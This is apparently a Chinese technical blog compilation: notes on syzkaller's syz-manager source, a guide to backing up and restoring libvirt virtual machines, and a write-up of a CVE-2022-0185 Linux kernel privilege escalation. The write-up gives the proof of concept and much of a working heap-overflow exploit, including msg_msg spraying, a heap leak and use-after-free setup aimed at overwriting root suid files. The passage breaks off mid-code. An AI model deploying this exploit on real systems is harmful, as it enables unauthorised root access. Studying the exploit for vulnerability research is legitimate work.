syzkaller 中的 syz-manager 负责管理虚拟机，监控 crash，以及复现 crash

main

从 main 函数开始，解析参数，加载 config 文件，随后调用 RunManager

// syz-manager/manager.gofunc main() {if prog.GitRevision == "" {log.Fatalf("bad syz-manager build: build with make, run bin/syz-manager")}flag.Parse()log.EnableLogCaching(1000, 1<<20)cfg, err := mgrconfig.LoadFile(*flagConfig)if err != nil {log.Fatalf("%v", err)}RunManager(cfg)}

RunManager

// syz-manager/manager.gofunc RunManager(cfg *mgrconfig.Config) {var vmPool *vm.Pool// Type "none" is a special case for debugging/development when manager// does not start any VMs, but instead you start them manually// and start syz-fuzzer there.if cfg.Type != "none" {var err errorvmPool, err = vm.Create(cfg, *flagDebug) // 「1」if err != nil {log.Fatalf("%v", err)}}crashdir := filepath.Join(cfg.Workdir, "crashes")osutil.MkdirAll(crashdir)reporter, err := report.NewReporter(cfg)if err != nil {log.Fatalf("%v", err)}mgr := &Manager{cfg:              cfg,vmPool:           vmPool,//...}mgr.preloadCorpus()mgr.initStats() // Initializes prometheus variables.mgr.initHTTP()  // Creates HTTP server.mgr.collectUsedFiles()// Create RPC server for fuzzers.mgr.serv, err = startRPCServer(mgr)if err != nil {log.Fatalf("failed to create rpc server: %v", err)}if cfg.DashboardAddr != "" {// ...}go func() { // 「2」for lastTime := time.Now(); ; {time.Sleep(10 * time.Second)now := time.Now()diff := now.Sub(lastTime)lastTime = nowmgr.mu.Lock()if mgr.firstConnect.IsZero() {mgr.mu.Unlock()continue}mgr.fuzzingTime += diff * time.Duration(atomic.LoadUint32(&mgr.numFuzzing))executed := mgr.stats.execTotal.get()crashes := mgr.stats.crashes.get()corpusCover := mgr.stats.corpusCover.get()corpusSignal := mgr.stats.corpusSignal.get()maxSignal := mgr.stats.maxSignal.get()mgr.mu.Unlock()numReproducing := atomic.LoadUint32(&mgr.numReproducing)numFuzzing := atomic.LoadUint32(&mgr.numFuzzing)log.Logf(0, "VMs %v, executed %v, cover %v, signal %v/%v, crashes %v, repro %v",numFuzzing, executed, corpusCover, corpusSignal, maxSignal, crashes, numReproducing)}}()if *flagBench != "" { // ...}if mgr.dash != nil {go mgr.dashboardReporter()}osutil.HandleInterrupts(vm.Shutdown)if mgr.vmPool == nil {log.Logf(0, "no VMs started (type=none)")log.Logf(0, "you are supposed to start syz-fuzzer manually as:")log.Logf(0, "syz-fuzzer -manager=manager.ip:%v [other flags as necessary]", mgr.serv.port)<-vm.Shutdownreturn}mgr.vmLoop() // 「3」}

「1」 ，调用 vm.Create 创建 vmPool，顾名思义，vmPool 是用于管理虚拟机的一个池，这里不同的虚拟化方案都使用统一的接口来创建 vmPool，具体随后细述
「2」，开启一个 goroutine，定时记录虚拟机状态，覆盖率，crash 数量等信息
「3」，调用 mgr.vmLoop 开始启动虚拟机进行 fuzz，这个函数涵盖了大量的工作

vm.Create

// vm/vm.go// Create creates a VM pool that can be used to create individual VMs.func Create(cfg *mgrconfig.Config, debug bool) (*Pool, error) {typ, ok := vmimpl.Types[cfg.Type] // 「1」if !ok {return nil, fmt.Errorf("unknown instance type '%v'", cfg.Type)}env := &vmimpl.Env{Name:     cfg.Name,OS:       cfg.TargetOS,Arch:     cfg.TargetVMArch,Workdir:  cfg.Workdir,Image:    cfg.Image,SSHKey:   cfg.SSHKey,SSHUser:  cfg.SSHUser,Timeouts: cfg.Timeouts,Debug:    debug,Config:   cfg.VM,}impl, err := typ.Ctor(env) // 「2」if err != nil {return nil, err}return &Pool{impl:     impl,workdir:  env.Workdir,template: cfg.WorkdirTemplate,timeouts: cfg.Timeouts,}, nil}

「1」，根据配置文件的 type 字段获取对应 Type 对象为后续使用，type 字段表示虚拟机的类型，如 qemu，vmware

// vm/vmimpl/vmimpl.gotype Type struct {Ctor       ctorFuncOvercommit bool}var (// ...Types = make(map[string]Type))// Register registers a new VM type within the package.func Register(typ string, ctor ctorFunc, allowsOvercommit bool) {Types[typ] = Type{Ctor:       ctor,Overcommit: allowsOvercommit,}}

各种虚拟化对应的模块调用 Register 函数注册 Type 对象，以 qemu 为例

// vm/qemu/qemu.gofunc init() {var _ vmimpl.Infoer = (*instance)(nil)vmimpl.Register("qemu", ctor, true)}

「2」，调用对应 Type 对象的 Ctor 函数指针创建实现了 Pool 接口的对象，以 qemu 为例，观看 qemu.ctor 函数实现

// vm/vmimpl/vmimpl.gotype Pool interface {// Count returns total number of VMs in the pool.Count() int// Create creates and boots a new VM instance.Create(workdir string, index int) (Instance, error)}// vm/qemu/qemu.gotype Pool struct {env        *vmimpl.Envcfg        *Configtarget     *targets.TargetarchConfig *archConfigversion    string}func ctor(env *vmimpl.Env) (vmimpl.Pool, error) {archConfig := archConfigs[env.OS+"/"+env.Arch]cfg := &Config{Count:       1,CPU:         1,Mem:         1024,ImageDevice: "hda",Qemu:        archConfig.Qemu,QemuArgs:    archConfig.QemuArgs,NetDev:      archConfig.NetDev,Snapshot:    true,}// ...pool := &Pool{env:        env,cfg:        cfg,version:    version,target:     targets.Get(env.OS, env.Arch),archConfig: archConfig,}return pool, nil}

mgr.vmLoop

// syz-manager/manager.gofunc (mgr *Manager) vmLoop() {// ...for shutdown != nil || len(instances) != vmCount {mgr.mu.Lock()phase := mgr.phasemgr.mu.Unlock()// ...log.Logf(1, "loop: phase=%v shutdown=%v instances=%v/%v %+v repro: pending=%v reproducing=%v queued=%v",phase, shutdown == nil, len(instances), vmCount, instances,len(pendingRepro), len(reproducing), len(reproQueue))canRepro := func() bool {return phase >= phaseTriagedHub &&len(reproQueue) != 0 && reproInstances+instancesPerRepro <= vmCount}if shutdown != nil { for canRepro() && len(instances) >= instancesPerRepro { // 「1」last := len(reproQueue) - 1crash := reproQueue[last]reproQueue[last] = nilreproQueue = reproQueue[:last]vmIndexes := append([]int{}, instances[len(instances)-instancesPerRepro:]...)instances = instances[:len(instances)-instancesPerRepro]reproInstances += instancesPerReproatomic.AddUint32(&mgr.numReproducing, 1)log.Logf(1, "loop: starting repro of '%v' on instances %+v", crash.Title, vmIndexes)go func() {features := mgr.checkResult.Featuresres, stats, err := repro.Run(crash.Output, mgr.cfg, features, mgr.reporter, mgr.vmPool, vmIndexes)reproDone <- &ReproResult{instances: vmIndexes,report0:   crash.Report,res:       res,stats:     stats,err:       err,hub:       crash.hub,}}()}for !canRepro() && len(instances) != 0 { // 「2」last := len(instances) - 1idx := instances[last]instances = instances[:last]log.Logf(1, "loop: starting instance %v", idx)go func() {crash, err := mgr.runInstance(idx)runDone <- &RunResult{idx, crash, err}}()}}// ...}}

「1」，存在需要复现的 crash，且有足够的虚拟机，则取出 instancesPerRepro （4 与 vmCount 的最小值） 个虚拟机以供调用 repro.Run 复现 crash

「2」，没有 crash 且还有虚拟机可用，取出一个虚拟机调用 mgr.runInstance 进行 fuzz

mgr.runInstance

// syz-manager/manager.gofunc (mgr *Manager) runInstance(index int) (*Crash, error) {mgr.checkUsedFiles()instanceName := fmt.Sprintf("vm-%d", index)rep, vmInfo, err := mgr.runInstanceInner(index, instanceName) machineInfo := mgr.serv.shutdownInstance(instanceName)if len(vmInfo) != 0 {machineInfo = append(append(vmInfo, '\n'), machineInfo...)}// ...crash := &Crash{vmIndex:     index,hub:         false,Report:      rep,machineInfo: machineInfo,}return crash, nil}

调用 mgr.runInstanceInner 后，整理输出返回

// syz-manager/manager.gofunc (mgr *Manager) runInstanceInner(index int, instanceName string) (*report.Report, []byte, error) {inst, err := mgr.vmPool.Create(index)// ...fuzzerBin, err := inst.Copy(mgr.cfg.FuzzerBin) // 「1」// ...// If ExecutorBin is provided, it means that syz-executor is already in the image,// so no need to copy it.executorBin := mgr.sysTarget.ExecutorBinif executorBin == "" {executorBin, err = inst.Copy(mgr.cfg.ExecutorBin) // 「2」// ...}// ...cmd := instance.FuzzerCmd(fuzzerBin, executorBin, instanceName,mgr.cfg.TargetOS, mgr.cfg.TargetArch, fwdAddr, mgr.cfg.Sandbox, procs, fuzzerV,mgr.cfg.Cover, *flagDebug, false, false, true, mgr.cfg.Timeouts.Slowdown) outc, errc, err := inst.Run(mgr.cfg.Timeouts.VMRunningTime, mgr.vmStop, cmd) // 「3」// ...var vmInfo []byterep := inst.MonitorExecution(outc, errc, mgr.reporter, vm.ExitTimeout) 「4」if rep == nil {// ...} else {vmInfo, err = inst.Info()if err != nil {// ...}}return rep, vmInfo, nil}

「1」，复制 syz-fuzzer 到虚拟机中

「2」，复制 syz-executor 到虚拟机中

「3」，ssh 执行虚拟机里的 syz-fuzzer

// vm/qemu/qemu.gofunc (inst *instance) Run(timeout time.Duration, stop <-chan bool, command string) (<-chan []byte, <-chan error, error) {// ...sshArgs := vmimpl.SSHArgsForward(inst.debug, inst.sshkey, inst.port, inst.forwardPort)// ...} else {args = []string{"ssh"}args = append(args, sshArgs...)args = append(args, inst.sshuser+"@localhost", "cd "+inst.targetDir()+" && "+command)}if inst.debug {log.Logf(0, "running command: %#v", args)}cmd := osutil.Command(args[0], args[1:]...)// ...}

「4」，监控虚拟机 oops 信息，用 bytes.Contains 检查是否有特征序列来查看是否出现了 crash

repro.Run

最主要就是调用了 ctx.repro

// pkg/repro/repro.gofunc (ctx *context) repro(entries []*prog.LogEntry, crashStart int) (*Result, error) {// ...res, err := ctx.extractProg(entries) // 「1」// ...res, err = ctx.minimizeProg(res) // 「2」// ...// Try extracting C repro without simplifying options first.res, err = ctx.extractC(res) // 「3」// ...// Simplify options and try extracting C repro.if !res.CRepro {res, err = ctx.simplifyProg(res) // 「4」// ...}// Simplify C related options.if res.CRepro {res, err = ctx.simplifyC(res) // 「5」// ...}return res, nil}

「1」，提取出造成 crash 的程序

// pkg/repro/repro.gofunc (ctx *context) extractProg(entries []*prog.LogEntry) (*Result, error) {// ...// Extract last program on every proc.procs := make(map[int]int)for i, ent := range entries {procs[ent.Proc] = i}var indices []intfor _, idx := range procs {indices = append(indices, idx)}sort.Ints(indices)var lastEntries []*prog.LogEntryfor i := len(indices) - 1; i >= 0; i-- { // 倒序存储执行的程序lastEntries = append(lastEntries, entries[indices[i]])}for _, timeout := range ctx.testTimeouts {// Execute each program separately to detect simple crashes caused by a single program.// Programs are executed in reverse order, usually the last program is the guilty one.res, err := ctx.extractProgSingle(lastEntries, timeout)  // 一个一个执行单个程序，直到触发 crash if err != nil {return nil, err}if res != nil {ctx.reproLogf(3, "found reproducer with %d syscalls", len(res.Prog.Calls))return res, nil}// Don't try bisecting if there's only one entry.if len(entries) == 1 {continue}// Execute all programs and bisect the log to find multiple guilty programs.res, err = ctx.extractProgBisect(entries, timeout) // 单个程序无法触发 crash，可能需要多个程序// ...}// ...}

「2」，简化调用和参数

// pkg/repro/repro.gofunc (ctx *context) minimizeProg(res *Result) (*Result, error) {// ...res.Prog, _ = prog.Minimize(res.Prog, -1, true,func(p1 *prog.Prog, callIndex int) bool {crashed, err := ctx.testProg(p1, res.Duration, res.Opts)if err != nil {ctx.reproLogf(0, "minimization failed with %v", err)return false}return crashed})return res, nil}// prog/minimization.gofunc Minimize(p0 *Prog, callIndex0 int, crash bool, pred0 func(*Prog, int) bool) (*Prog, int) {pred := func(p *Prog, callIndex int) bool {p.sanitizeFix()p.debugValidate()return pred0(p, callIndex)}// ...// Try to remove all calls except the last one one-by-one.p0, callIndex0 = removeCalls(p0, callIndex0, crash, pred)// Try to reset all call props to their default values.p0 = resetCallProps(p0, callIndex0, pred)// Try to minimize individual calls.for i := 0; i < len(p0.Calls); i++ { // 去除系统调用无关的参数ctx := &minimizeArgsCtx{target:     p0.Target,p0:         &p0,callIndex0: callIndex0,crash:      crash,pred:       pred,triedPaths: make(map[string]bool),}again:ctx.p = p0.Clone()ctx.call = ctx.p.Calls[i]for j, field := range ctx.call.Meta.Args {if ctx.do(ctx.call.Args[j], field.Name, "") {goto again}}p0 = minimizeCallProps(p0, i, callIndex0, pred)}// ...return p0, callIndex0}

「3」，根据 crash 构造 C 代码

「4」、「5」，简化构造成功的 C 代码

参考

• syzkaller 源码阅读笔记2（syz-manager） — bsauce
• https://sourcegraph.com/github.com/google/syzkaller@master

这篇文章的起因是：本人笔记本电脑的硬盘太小了，换了个大的，需要重新配置系统（manjaro），重新虚拟机环境过于繁琐且没必要，于是乎考虑直接迁移虚拟机

其实有一个非常粗暴的方法，直接把相关目录全拷贝一遍就好了

一些前提

这篇文章是基于笔者的笔记本环境的，其中的一些操作要根据读者实际情况自行调整

• 系统：manjaro linux
• 分区情况：/ 和 /home 独立分区，之后打算虚拟机放到 /home 分区里，主要考虑到了重装系统，重装系统也只要覆盖根分区就好了，只需要简单调整下配置就能无缝衔接了
• 虚拟机环境：由 libvirt 工具管理的 kvm 虚拟机，一个 windows 10 ，一个 ubuntu 20.04（不要问为什么主系统是 linux 还要配虚拟机 ubuntu）

备份虚拟机

因为笔者的笔记本只有一个硬盘插槽，所以在换硬盘前得做好虚拟机的备份

首先，要备份的虚拟机首先要处于关机状态，其他情况本文不考虑

其次，备份虚拟机配置文件，也就是 virsh 使用的 xml 文件，下面以笔者的 ubuntu 20.04 虚拟机为例：

sudo virsh dumpxml ubuntu20.04 > $backup/ubuntu/ubuntu20.04.xml

其中的 $backup 存放备份虚拟机所有文件的目录，迁移的时候只要拷贝这个目录就好了

然后，备份虚拟机的硬盘镜像文件，虚拟机的镜像存储在 /var/lib/libvirt/images/ 目录下，把对应虚拟机的镜像备份好就行，例

sudo cp /var/lib/libvirt/images/ubuntu20.04.qcow2 $backup/ubuntu/ubuntu20.04.qcow2

在这一步，突然意识到了问题，就是原有的盘存储空间不足以再存放一份镜像，并且笔者的 U 盘也无法存储足足有 100G 的镜像文件，直接上传到云盘上得等到猴年马月
于是乎马上下单外置硬盘盒，打算换好新硬盘装完系统后，直接把旧的硬盘插硬盘盒里接上电脑用，所以这一步笔者其实是直接从外置硬盘拷贝到换好新硬盘的笔记本上的

最后，理论上第三步就做好了，但是，虚拟机快照还没有备份，如果读者不需要备份虚拟机快照可以跳过这一步

笔者虚拟机使用的硬盘镜像格式都是 qcow2，快照是记录在镜像里的，使用如下命令查看：

qemu-img snapshot -l xxx.qcow2

第一步已经备份好了镜像，那么快照是不是也备份好了呢？

是，也不完全是，对于镜像而言，快照就存储在镜像里，但是 libvirt 工具并不知道这些快照的状态，就是处于这些快照的时候，配置文件是什么样的无法通过镜像文件得知，所以还需要备份这些快照的配置文件

这些快照文件存储在 /var/lib/libvirt/qemu/snapshot 目录下：

由于全部虚拟机都要迁移，所以直接备份整个目录就行了

sudo cp -r /var/lib/libvirt/qemu/snapshot $backup/snapshot

恢复虚拟机

在上一步中备份好了虚拟机，然后把 $backup 的内容都拷贝到了新硬盘的 $HOME/virtualmachine 目录下，接下来就是恢复虚拟机了

第一歩，导入虚拟机配置

sudo virsh define --file $HOME/virtualmachine/ubuntu/ubuntu20.04.xml

第二步，恢复镜像

sudo cp $HOME/virtualmachine/ubuntu/ubuntu20.04.qcow2 /var/lib/libvirt/images/ubuntu20.04.qcow2

笔者并不打算把虚拟机拷贝到根分区使用，重装系统前还得重新备份，所以这一步实际上笔者是直接用软连接

sudo ln -sf $HOME/virtualmachine/ubuntu/ubuntu20.04.qcow2 /var/lib/libvirt/images/ubuntu20.04.qcow2

第三步，恢复快照

sudo cp -r $HOME/virtualmachine/snapshot/ubuntu20.04 /var/lib/libvirt/qemu/snapshot/ubuntu20.04

同理，笔者这一步用的也是软连接

sudo ln -sf $HOME/virtualmachine/snapshot/ubuntu20.04 /var/lib/libvirt/qemu/snapshot/ubuntu20.04

最后将虚拟机开启验证就好了，如果备份虚拟机的镜像文件名有更改，记得在配置文件里也修改为对应的路径

参考

1. https://www.cnblogs.com/djlsunshine/p/10278363.html
2. https://cloud.tencent.com/developer/article/1671091

初尝 pipe_primitive

环境准备

据漏洞发现者所说^[1][2]，漏洞影响 linux 5.1 版本之后的内核，v5.16.2 已经修复

笔者选取 5.10.6 自行编译内核复现，在 ubuntu 20.04 环境下构建，编译选项一般默认就行

因为笔者所使用的利用方式是参考 veritas501 学长的 pipe primitive^[3][4]，对含有 root suid 权限的文件进行覆盖达到提权的效果，构建的 busybox rootfs 中准备了一个含有 suid 权限的可执行文件用于被任意写覆盖

实际环境中可以选择 /usr/bin/mount 等程序作为目标

环境已打包至 github：https://github.com/featherL/CVE-2022-0185-exploit

漏洞分析

Syzkaller 给出了一段触发漏洞的 Poc：

#define _GNU_SOURCE #include <endian.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/syscall.h>#include <sys/types.h>#include <unistd.h>#ifndef __NR_fsconfig#define __NR_fsconfig 431#endif#ifndef __NR_fsopen#define __NR_fsopen 430#endifuint64_t r[1] = {0xffffffffffffffff};int main(void) {syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);intptr_t res = 0;memcpy((void*)0x20000000, "9p\000", 3);res = syscall(__NR_fsopen, 0x20000000ul, 0ul);if (res != -1)r[0] = res;memcpy((void*)0x20001c00, "\000\000\344]\233", 5);memcpy((void*)0x20000540, "<long string>", 641);syscall(__NR_fsconfig, r[0], 1ul, 0x20001c00ul, 0x20000540ul, 0ul);int i;for(i = 0; i < 64; i++) {syscall(__NR_fsconfig, r[0], 1ul, 0x20001c00ul, 0x20000540ul, 0ul);}memset((void*)0x20000040, 0, 1);memcpy((void*)0x20000800, "<long string>", 641);syscall(__NR_fsconfig, r[0], 1ul, 0x20000040ul, 0x20000800ul, 0ul);for(i = 0; i < 64; i++) {syscall(__NR_fsconfig, r[0], 1ul, 0x20000040ul, 0x20000800ul, 0ul);}return 0;}

经过简化后：

#define _GNU_SOURCE#include <sys/syscall.h>#include <stdio.h>#include <stdlib.h>#ifndef __NR_fsconfig#define __NR_fsconfig 431#endif#ifndef __NR_fsopen#define __NR_fsopen 430#endif#define FSCONFIG_SET_STRING 1#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)int main(void) { char* key = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";int fd = 0;fd = fsopen("9p", 0);for (int i = 0; i < 130; i++) { fsconfig(fd, FSCONFIG_SET_STRING, "\x00", key, 0);}}

翻看 linux 源码可以知道，存在调用链 fsopen -> fs_context_for_mount -> alloc_fs_context -> legacy_init_fs_context，这为后面的 fsconfig 系统调用，设置相关操作的虚表 legacy_fs_context_ops

const struct fs_context_operations legacy_fs_context_ops = {.free= legacy_fs_context_free,.dup= legacy_fs_context_dup,.parse_param= legacy_parse_param,.parse_monolithic= legacy_parse_monolithic,.get_tree= legacy_get_tree,.reconfigure= legacy_reconfigure,};

对于 fsconfig(fd, FSCONFIG_SET_STRING, key, value, 0) 的调用，则经过调用链 fsconfig -> vfs_fsconfig_locked -> vfs_parse_fs_param -> legacy_parse_param

漏洞发生在 legacy_parse_param 函数中：

static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param){struct legacy_fs_context *ctx = fc->fs_private;unsigned int size = ctx->data_size;size_t len = 0;if (strcmp(param->key, "source") == 0) {if (param->type != fs_value_is_string)return invalf(fc, "VFS: Legacy: Non-string source");if (fc->source)return invalf(fc, "VFS: Legacy: Multiple sources");fc->source = param->string;param->string = NULL;return 0;}if (ctx->param_type == LEGACY_FS_MONOLITHIC_PARAMS)return invalf(fc, "VFS: Legacy: Can't mix monolithic and individual options");switch (param->type) {case fs_value_is_string:len = 1 + param->size;fallthrough;case fs_value_is_flag:len += strlen(param->key);break;default:return invalf(fc, "VFS: Legacy: Parameter type for '%s' not supported",      param->key);}if (len > PAGE_SIZE - 2 - size)return invalf(fc, "VFS: Legacy: Cumulative options too large");if (strchr(param->key, ',') ||    (param->type == fs_value_is_string &&     memchr(param->string, ',', param->size)))return invalf(fc, "VFS: Legacy: Option '%s' contained comma",      param->key);if (!ctx->legacy_data) {ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);if (!ctx->legacy_data)return -ENOMEM;}ctx->legacy_data[size++] = ',';len = strlen(param->key);memcpy(ctx->legacy_data + size, param->key, len);size += len;if (param->type == fs_value_is_string) {ctx->legacy_data[size++] = '=';memcpy(ctx->legacy_data + size, param->string, param->size);size += param->size;}ctx->legacy_data[size] = '\0';ctx->data_size = size;ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;return 0;}

可以看到 ctx->legacy_data 通过 kmalloc-4k 分配的一块内存：

...if (!ctx->legacy_data) {ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);if (!ctx->legacy_data)return -ENOMEM;}..

而在写入数据是否越界的判断条件中，使用的是 len > PAGE_SIZE - 2 - size，其中 size 变量是 unsigned int 类型，为 ctx->legacy_data 已经存入数据的大小，当 size 字段大于 PAGE_SIZE - 2 的时候，PAGE_SIZE - 2 - size 结果为负数，但因为运算结果是无符号类型，这就是一个很大的数，条件不成立，后续写入数据的时候就造成了 kmalloc-4k 堆块的溢出

可以知道 fsconfig(fd, FSCONFIG_SET_STRING, key, value, 0) 是往 ctx->legacy_data 这个堆块中以 ,key=value 的方式写入键值对，不过要注意的是，在 fsconfig 的代码中可以发现 key 和 value 的字符串长度（包括\0）不能超过 256，所以要分多次调用来触发漏洞

需要注意 fsopen 需要 CAP_SYS_ADMIN 权限，可以通过创建用户命名空间的方式来获得该权限

漏洞利用

这个漏洞相当于一个 kmalloc-4k 的任意长度溢出漏洞，有了之前复现 CVE-2021-22555 的经验，利用起来很简单，甚至都不需要调试

简单总结一下步骤：

1. 触发漏洞溢出修改 msg_msg.m_ts
2. 利用 corrupted_msg_msg 越界泄露信息，可以布局其他 msg_msg 结构体，泄露其 m_list.next/m_list.prev 的 heap 地址
3. 有了 heap 地址，再次触发漏洞，修改 msg_msg.m_list.next 为 target，target 为堆上的某个 msg_msg 结构体地址
4. 释放 target，喷射 skb 占位 target
5. 通过步骤 3 中 corrupted_msg_msg，可以再次释放 target，造成 UAF
6. 喷射 pipe_buffer 占位 target，splice 任意文件写到 pipe 里
7. 利用 skb 修改 pipe_buffer 的 flags 字段，向 pipe 写入数据，造成越权改写只读文件

最后两步其实可以 skb 读取 pipe_buffer 的 ops 泄露内核地址，然后 skb 劫持 pipe_buffer 的 ops，close(pipe) 进行 ROP，但笔者为了演示 pipe primitive 而不这么做

prepare overflow

首先准备下触发漏洞越界写的条件，分多次调用 FSCONFIG_SET_STRING，使得 size 为 PAGE_SIZE - 1 绕过 check，那么再下一次 FSCONFIG_SET_STRING 的时候就是从 4k 堆块的最后一个字节开始溢出写了

int call_fsopen(){  int fd = fsopen("ext4", 0);  if (fd < 0)  {    die("fsopen() error");  }  return fd;}void prepare_overflow(int fsid){  char buff[0x100];  logdebug("prepare fsconfig heap overflow");  memset(buff, 0, sizeof(buff));  memset(buff, 'A', 0x100 - 2);  for (int i = 0; i < 0xf; i++)  {    // ",=" + buff    fsconfig(fsid, FSCONFIG_SET_STRING, "\x00", buff, 0);  }  memset(buff, 0, sizeof(buff));  memset(buff, 'B', 0x100 - 3);  // ",=" + buff  fsconfig(fsid, FSCONFIG_SET_STRING, "\x00", buff, 0);}

leak heap

一图胜千言：

首先喷射 4k 大小的 msg_msg，同时附带 64 字节大小的 msg_msgseg，图中橙色标注部分

再喷射 kmalloc-64 <-> kmalloc-1024 的消息队列，即图中蓝色标注部分

因为 64 字节的 msg_msgseg 和 64 字节的 msg_msg 很可能从同一个页中分配，那么当 4k 大小的 msg_msg 的 m_ts 被溢出改大后，通过 64 字节的 msg_msgseg 越界读出后面的 64 字节的 msg_msg 结构数据，则可以泄露出其 m_list.next 指向的 kmalloc-1024 地址，

这里主要参照了 bsauce^[5] 师傅的方法

具体操作如下：

#define MSG_A_TEXT_SIZE \  (0x1000 + 0x40 - sizeof(struct msg_msg) - sizeof(struct msg_msgseg))int do_leak_heap(int fsid){  char buff[0x100];  logdebug("--- do_leak_heap ---");  prepare_overflow(fsid);  logdebug("spraying messasge queue 1...");  for (int i = 0; i < NUM_MSQIDS_1; i++)  {    msg_a->mtype = MTYPE_A;    memset(msg_a->mtext, 'A', MSG_A_TEXT_SIZE);    ((int *)&msg_a->mtext)[0] = MSG_TAG;    ((int *)&msg_a->mtext)[1] = i;    if (msgsnd(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, 0) < 0)      die("msgsnd() error");  }  logdebug("spraying messasge queue 2...");  for (int i = 0; i < NUM_MSQIDS_2; i++)  {    size_t n = 1024 - sizeof(struct msg_msg);    memset(msg_b->mtext, 'B', n);    ((int *)&msg_b->mtext)[0] = MSG_TAG;    ((int *)&msg_b->mtext)[1] = i;    msg_b->mtype = MTYPE_B1;    n = 64 - sizeof(struct msg_msg);    if (msgsnd(msqid_2[i], msg_b, n, 0) < 0)      die("msgsnd() error");    msg_b->mtype = MTYPE_B2;    n = 1024 - sizeof(struct msg_msg);    if (msgsnd(msqid_2[i], msg_b, n, 0) < 0)      die("msgsnd() error");  }  logdebug("trigger oob write in `legacy_parse_param` to msg_msg.m_ts");  memset(buff, 0, sizeof(buff));  strcat(buff, "0000000");  // m_list.next  strcat(buff, "11111111"); // m_list.prev  strcat(buff, "22222222"); // m_type  uint64_t target_size = MSG_A_TEXT_SIZE + 64 * 30;  memcpy(buff + strlen(buff), &target_size, 2); // m_ts  fsconfig(fsid, FSCONFIG_SET_STRING, "\x00", buff, 0);  logdebug("searching corrupted msg_msg...");  for (int i = 0; i < NUM_MSQIDS_1; i++)  {    size_t n = msgrcv(msqid_1[i], msg_a_oob, MSG_A_TEXT_SIZE + 64 * 30, 0,                      MSG_COPY | IPC_NOWAIT);    if (n < 0)      continue;    if (n == MSG_A_TEXT_SIZE + 64 * 30)    {      corrupted_msqid = msqid_1[i];      if ((msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) <          0) // call clean_msg_1 without crash        die("msgget() error");      struct msg_msg *p =          (struct msg_msg *)(msg_a_oob->mtext + MSG_A_TEXT_SIZE);      for (int j = 0; j < 30; j++)      {        if (p->m_type == MTYPE_B1 && p->m_ts == 64 - sizeof(struct msg_msg) &&            ((int *)&p->mtext)[0] == MSG_TAG)        {          uaf_msqid = msqid_2[((int *)&p->mtext)[1]];          loginfo("corrupted_msqid = %d", corrupted_msqid);          loginfo("uaf_msqid = %d", uaf_msqid);          kmalloc_1024 = p->m_list.next;          // call clean_msg_2 without crash          if ((msqid_2[((int *)&p->mtext)[1]] =                   msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0)            die("msgget() error");          break;        }        p++;      }      break;    }  }  clean_msg_1();  clean_msg_2();  if (uaf_msqid < 0)    return 0;  loginfo("kmalloc_1024 = %#lx", kmalloc_1024);  return 1;}...int main(int argc, char const *argv[]){  int fsid;  int pid;...    init_unshare();    bind_cpu();    init_sock();    init_msg();    fsid = call_fsopen();    while (!do_leak_heap(fsid))    {      close(fsid);      fsid = call_fsopen();      logdebug("retry do_leak_heap()");    }...  return 0;}

create uaf

释放 kmalloc_1024 的 msg_msg 结构体，再次触发漏洞，修改某个 msg_msg.m_list.next 为 kmalloc_1024，那么就构造了对该地址的 UAF 了

因为漏洞的溢出写入的是字符串 ,key=value，且从 key 开始的位置就是 msg_msg.m_list.next 了，最后还会附加 =，且 kmalloc_1024 最低字节必然是 \0，被覆盖成 = 就不对了，所以无法直接覆盖成 kmalloc_1024，但是可以把 m_list.next 指向 kmalloc_1024 + offset 上，以避免 \0

然后在 kmalloc_1024 + offset 处，伪造一个 msg_msg，其 m_list.next 指向 kmalloc_1024，也就是伪造成下面的效果：

corrupted_msg_msg -> kmalloc_1024 + offset -> kmalloc_1024

要注意 unlink 时 next/prev 指针指向的区域可写

代码如下：

void fake_msg_msg_at_kmalloc_1024(){  logdebug("--- fake_msg_msg_at_kmalloc_1024 ---");  logdebug("free kmalloc-1024");  if (msgrcv(uaf_msqid, msg_b, 1024 - sizeof(struct msg_msg), MTYPE_B2, 0) < 0)    die("msgrcv() error");  logdebug("spraying skb...");  memset(skb, 0, sizeof(skb));  struct msg_msg *msg = (struct msg_msg *)skb;  msg->m_list.next = kmalloc_1024 + 0x200; // no matter  msg->m_list.prev = kmalloc_1024 + 0x300; // no matter  msg->m_type = MTYPE_FAKE;  msg->m_ts = 0x100;  msg->security = 0;  msg++;  msg->m_list.next = kmalloc_1024;  msg->m_list.prev = kmalloc_1024 + 0x400; // no matter  msg->m_type = MTYPE_A;  msg->m_ts = 0x233;  msg->security = 0;  spray_skbuff_data(skb, sizeof(skb)); }int create_uaf(int fsid){  char buff[0x100];  int target_idx = -1;  logdebug("--- create_uaf ---");  prepare_overflow(fsid);  logdebug("spraying messasge queue 1...");  for (int i = 0; i < NUM_MSQIDS_1; i++)  {    msg_a->mtype = MTYPE_A;    memset(msg_a->mtext, 'A', MSG_A_TEXT_SIZE);    ((int *)&msg_a->mtext)[0] = MSG_TAG;    ((int *)&msg_a->mtext)[1] = i;    if (msgsnd(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, 0) < 0)      die("msgsnd() error");  }  logdebug("trigger oob write in `legacy_parse_param` to corrupt messageA's "           "msg_msg.m_ts");  memset(buff, 0, sizeof(buff));  struct msg_msg *msg = (struct msg_msg *)buff;  msg->m_list.next = kmalloc_1024 + sizeof(struct msg_msg);  msg->m_list.prev = 0xdeadbeefdeadbeef;  msg->m_type = MTYPE_A; // append '=\x00'  fsconfig(fsid, FSCONFIG_SET_STRING, buff, "\x00", 0);  logdebug("searching corrupted msg_msg for freeing fake msg_msg...");  fake_msqid = -1;  for (int i = 0; i < NUM_MSQIDS_1; i++)  {    size_t n = 